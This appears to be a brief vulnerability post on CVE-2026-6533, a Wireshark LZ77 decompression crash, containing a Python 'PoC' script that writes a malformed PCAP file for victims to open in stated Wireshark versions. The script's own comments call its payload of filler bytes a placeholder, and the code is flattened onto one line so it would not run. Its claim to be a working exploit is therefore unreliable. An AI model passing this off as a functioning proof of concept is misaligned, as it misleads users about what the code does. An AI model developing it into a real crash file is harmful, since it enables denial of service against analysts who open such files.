CVE-2026-6533 Wireshark LZ77解压缩崩溃拒绝服务漏洞

# PoC for CVE-2026-6533: Wireshark LZ77 Decompression Crash # This script generates a malformed PCAP file that may trigger the crash. # Note: Actual byte patterns to trigger the specific LZ77 bug depend on internal implementation details. import struct def create_malformed_pcap(filename): # PCAP Global Header pcap_global_header = struct.pack('!LHHLLLL', 0xa1b2c3d4, 2, 4, 0, 0, 65535, 1) # Construct a packet header (dummy values) ts_sec, ts_usec = 0, 0 incl_len, orig_len = 100, 100 packet_header = struct.pack('!LLLL', ts_sec, ts_usec, incl_len, orig_len) # Simulate a packet data containing malformed LZ77 compression stream # In a real scenario, this data would target a specific dissector using LZ77 # This is a placeholder to represent the fuzzing input. packet_data = b'\x00' * 50 # Ethernet header padding # Malicious payload attempting to trigger LZ77 logic error malicious_payload = b'\xff' * 50 with open(filename, 'wb') as f: f.write(pcap_global_header) f.write(packet_header) f.write(packet_data + malicious_payload) print(f"[+] Malformed PCAP file generated: {filename}") print(f"[+] Open this file in Wireshark 4.4.0 - 4.4.14 or 4.6.0 - 4.6.4 to test.") if __name__ == "__main__": create_malformed_pcap('crash_poc.pcap')